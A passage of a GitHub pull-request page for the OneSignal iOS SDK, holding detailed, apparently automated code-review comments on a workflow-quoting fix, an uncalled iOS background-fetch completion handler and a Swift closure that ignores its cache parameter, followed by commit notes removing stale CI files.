    OLD_TITLE: ${{ github.event.changes.title.from }}
    REPO_FULL_NAME: ${{ github.event.repository.full_name }}
  run: |
    # ... use "$LABEL_NAME", "$MILESTONE_TITLE", "$OLD_TITLE", "$ISSUE_TITLE" everywhere

And inside the script, always quote the variables (e.g. ACTION_DESC="added label '$LABEL_NAME' to the issue"). Be especially careful to also fix line 132 to use the already-defined $ISSUE_TITLE env var rather than re-interpolating ${{ github.event.issue.title }}.

Comment on lines +938 to +947
+ (void)didReceiveRemoteNotification:(NSDictionary*)userInfo completionHandler:(void (^)(UIBackgroundFetchResult))completionHandler {
if (![self isSwizzlingDisabled]) {
[OneSignalLog onesignalLog:ONE_S_LL_WARN message:@"OneSignal: didReceiveRemoteNotification:completionHandler: ignored because swizzling is active. Remove the manual call or set OneSignal_disable_swizzling to true in Info.plist."];
return;
}
BOOL startedBackgroundJob = [self processReceivedRemoteNotification:userInfo completionHandler:completionHandler];
if (!startedBackgroundJob) {
completionHandler(UIBackgroundFetchResultNewData);
}
}
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔴 When swizzling is active, +[OSNotificationsManager didReceiveRemoteNotification:completionHandler:] (lines 938-947) logs a warning and returns without invoking completionHandler, while the sibling willPresentNotificationWithPayload:completion: (lines 675-682) correctly invokes completion([OSNotification new]) on the same misuse path. Per Apple's docs, failing to call the fetch completion handler causes iOS to throttle or suspend future background notification delivery to the app. Fix: invoke completionHandler(UIBackgroundFetchResultNoData) before the early return, matching the willPresent pattern.

Extended reasoning...

What the bug is

The PR introduces a new manual-integration API surface on OSNotificationsManager that lets developers forward UIApplicationDelegate / UNUserNotificationCenterDelegate callbacks to OneSignal when SDK swizzling is disabled. Each new class method has a guard that fires when swizzling is still active (a developer misuse / misconfiguration case): it logs a warning and returns early so the SDK does not double-process the callback.

The sibling +willPresentNotificationWithPayload:completion: at OSNotificationsManager.m:675-682 handles this guard correctly:

if (![self isSwizzlingDisabled]) {
    [OneSignalLog onesignalLog:ONE_S_LL_WARN message:@"...ignored because swizzling is active..."];
    completion([OSNotification new]);   // invokes the caller's completion before bailing
    return;
}

But +didReceiveRemoteNotification:completionHandler: at OSNotificationsManager.m:938-947 does not:

if (![self isSwizzlingDisabled]) {
    [OneSignalLog onesignalLog:ONE_S_LL_WARN message:@"...ignored because swizzling is active..."];
    return;   // <-- completionHandler is never called
}

How it manifests / impact

iOS calls application:didReceiveRemoteNotification:fetchCompletionHandler: for content-available pushes and expects the app to invoke the supplied completion handler in a timely manner. Apple's documentation is explicit that failing to call the handler causes the system to throttle or suspend future background notification delivery to the app (and may terminate the app). The handler must be called exactly once, regardless of how the app routes the work internally.

The trigger scenario the warning itself describes is realistic and is even illustrated by this PR's own Dev App changes:

  • A developer enables the manual-integration path, copies the AppDelegate forwarders from iOS_SDK/OneSignalDevApp/OneSignalDevApp/AppDelegate.m (which call [OneSignal.Notifications didReceiveRemoteNotification:userInfo completionHandler:completionHandler]), but forgets to set OneSignal_disable_swizzling = true in Info.plist.
  • Or they are mid-refactor: forwarders are wired up but the plist flag has not been flipped yet.
  • Or they hot-swap configurations during testing.

In all of these states, swizzling is still active, the SDK's swizzled wrapper has already run the dev's AppDelegate (which forwards to the SDK), and the dev's AppDelegate trusts the SDK to invoke its completion handler. The SDK swizzled wrapper at UIApplicationDelegate+OneSignalNotifications.m only calls the completion handler itself when forwarder.hasReceiver is false — when a receiver exists, the receiver is expected to invoke it. So the handler never fires, and iOS throttles background pushes for that app. The one-time warning log gives no hint that this is the consequence.

Step-by-step proof

Assume swizzling is active (OneSignal_disable_swizzling unset or false) and the developer has implemented manual forwarders in their AppDelegate:

  1. iOS delivers a content-available push and calls the dev's swizzled application:didReceiveRemoteNotification:fetchCompletionHandler: with a non-nil completionHandler.
  2. The SDK's swizzled wrapper runs first; because the dev defined the selector, forwarder.hasReceiver is true, so the SDK invokes the dev's original AppDelegate method and does NOT call the completion handler itself.
  3. The dev's AppDelegate calls [OneSignal.Notifications didReceiveRemoteNotification:userInfo completionHandler:completionHandler] (this is exactly what the PR's Dev App now does).
  4. Inside +didReceiveRemoteNotification:completionHandler: (line 938), [self isSwizzlingDisabled] returns NO, so the method logs the warning and returns at line 941 without calling the supplied completionHandler.
  5. Control unwinds. Nobody — not the SDK, not the dev — calls iOS's fetch completion handler.
  6. iOS waits, observes the handler was not invoked, and applies background-notification throttling to the app going forward.

Contrast with step 4 for the willPresent path: that method calls completion([OSNotification new]) first, so the foreground-presentation flow is at least safe.

Why existing code doesn't prevent it

  • The guard exists specifically to catch this misconfiguration, so it is on the expected misuse path.
  • The warning log is informational only and does not invoke the handler.
  • The swizzled-wrapper-only call to the handler (forwarder.hasReceiver ? nil : completionHandler in UIApplicationDelegate+OneSignalNotifications.m) only runs when the dev did not implement the selector at all; here the dev did implement it (to forward to OneSignal), so it is bypassed.

Fix

Call the completion handler before returning, matching the sibling willPresent pattern:

+ (void)didReceiveRemoteNotification:(NSDictionary*)userInfo
                   completionHandler:(void (^)(UIBackgroundFetchResult))completionHandler {
    if (![self isSwizzlingDisabled]) {
        [OneSignalLog onesignalLog:ONE_S_LL_WARN
                          message:@"OneSignal: didReceiveRemoteNotification:completionHandler: ignored because swizzling is active. ..."];
        completionHandler(UIBackgroundFetchResultNoData);   // <-- add this
        return;
    }
    ...
}

UIBackgroundFetchResultNoData is the safe default since the SDK is intentionally not processing the payload on this path. This is one line and brings the method in line with willPresent's well-handled equivalent guard.

Comment on lines 202 to 207
private func caches(_ block: (RequestCache) -> Void) {
block(self.startTokens)
block(self.updateTokens)
block(self.receiveReceipts)
block(self.clickEvents)
}
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔴 In OSLiveActivitiesExecutor.onPushSubscriptionDidChange (lines 158-171), the closure passed to self.caches { _ in self.startTokens.markAllUnsuccessful() } ignores its RequestCache parameter and always hard-codes self.startTokens. Since this PR extends caches(_:) at lines 202-207 to iterate four caches (startTokens, updateTokens, receiveReceipts, clickEvents), startTokens.markAllUnsuccessful() now runs 4× while updateTokens / receiveReceipts / clickEvents are never re-marked — so after a push-subscription-id change (login/logout) only start-token requests are resent with the new ID, contradicting the comment on line 163 that says "we need to re-send up all update and start tokens with the new ID." Fix: use the closure parameter, e.g. self.caches { cache in cache.markAllUnsuccessful() }.

Extended reasoning...

What the bug is

In OSLiveActivitiesExecutor.onPushSubscriptionDidChange (file iOS_SDK/OneSignalSDK/OneSignalLiveActivities/Source/Executors/OSLiveActivitiesExecutor.swift, lines 158-171), the code is:

func onPushSubscriptionDidChange(state: OneSignalUser.OSPushSubscriptionChangedState) {
    if state.previous.id == state.current.id {
        return
    }

    // when a push subscription id changes, we need to re-send up all update and start tokens with the new ID.
    self.requestDispatch.async {
        self.caches { _ in
            self.startTokens.markAllUnsuccessful()
        }

        self.pollPendingRequests()
    }
}

The closure passed to self.caches { ... } ignores its RequestCache parameter (_ in) and unconditionally invokes self.startTokens.markAllUnsuccessful(). Meanwhile, caches(_:) at lines 202-207 invokes the block once per cache:

private func caches(_ block: (RequestCache) -> Void) {
    block(self.startTokens)
    block(self.updateTokens)
    block(self.receiveReceipts)   // added in this PR
    block(self.clickEvents)       // added in this PR
}

So the body fires 4 times, but each time it operates on self.startTokensstartTokens.markAllUnsuccessful() is called 4× (idempotent, same as once), and updateTokens, receiveReceipts, and clickEvents are never marked unsuccessful.

Why existing code does not prevent it

pollPendingRequests (line 187) only re-executes requests where !request.requestSuccessful (line 195). Since the bug never flips requestSuccessful = false on the other three caches, those cached requests stay marked successful and are skipped on the next poll. There is no other code path that re-marks them after a subscription-id change.

Why this PR makes it worse

The closure has always hard-coded startTokens, so the update-tokens half of the bug is pre-existing. However, this PR:

  1. Adds receiveReceipts and clickEvents to the iteration in caches(_:) (lines 205-206), so two additional caches now silently miss the retry.
  2. Adds two new request types (OSRequestLiveActivityReceiveReceipts, OSRequestLiveActivityClicked) that route into those caches via getCache(_:) (lines 209-219) — strictly more state now leaks.

The comment on line 163 explicitly states the intent: "we need to re-send up all update and start tokens with the new ID." The current implementation does not satisfy that intent for update tokens (pre-existing) and now also does not satisfy it for two newly added request types (regression-adjacent).

Step-by-step proof

  1. Cold-start with subscription id sub_A. SDK enqueues OSRequestSetUpdateToken(key: "activity_1", token: "tok_1"). The request fires successfully against sub_A, gets cached in updateTokens with requestSuccessful = true. (OSLiveActivitiesExecutorTests.testSendUpdateTokenRequestWithSuccessfulRequest covers this happy path.)
  2. User logs out → logs in. onPushSubscriptionDidChange fires with state.previous.id = sub_A, state.current.id = sub_B.
  3. The dispatched block runs self.caches { _ in self.startTokens.markAllUnsuccessful() }:
    • Iteration 1 (cache=startTokens): runs self.startTokens.markAllUnsuccessful() — fine.
    • Iteration 2 (cache=updateTokens): runs self.startTokens.markAllUnsuccessful() againupdateTokens["activity_1"].requestSuccessful stays true.
    • Iteration 3 (cache=receiveReceipts): same, no-op on the actual receiveReceipts cache.
    • Iteration 4 (cache=clickEvents): same, no-op on the actual clickEvents cache.
  4. pollPendingRequests runs ~pollIntervalSeconds later and at line 195 filters cache.items.values.filter({ !$0.requestSuccessful }). For updateTokens["activity_1"] the flag is still true, so it is skipped.
  5. Result: the device’s update-token registration is stranded on sub_A even though the device is now subscription sub_B. The push service routes update notifications to sub_A’s mapping and the new subscription receives no Live Activity updates until the next time the token actually changes (e.g., system rotates the pushToken).

The two PR-added caches behave identically — any pending receive-receipt or click-event request that failed before the subscription change will never be retried against the new subscription id.

Fix

Use the closure parameter:

self.caches { cache in
    cache.markAllUnsuccessful()
}

This is the obvious intent from the comment on line 163 and from pollPendingRequests already using self?.caches { cache in ... } correctly on line 194. Fix is one line, and there is unit-test coverage scaffolding in OSLiveActivitiesExecutorTests to confirm.

since this is just for rebasing, we can refactor in followup
@nan-li nan-li force-pushed the identity_verification_rebase_on_5.5.1 branch from 513f1a4 to 4904ce4 Compare May 14, 2026 21:58
nan-li added 3 commits May 14, 2026 15:47
The workflow stamped response_time_in_business_days into a hidden
probot metadata block on each issue. No consumer reads the value.
- .travis.yml: pins Xcode 11.1 / iOS 13.1 from 2019; CI runs on
  .github/workflows/ci.yml (Xcode 16.4).
- issue_template.md: shadowed by .github/ISSUE_TEMPLATE/*.yml form
  templates, which GitHub prefers.
- default: ci.yml writes this file every run, so the committed copy
  is not load-bearing.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants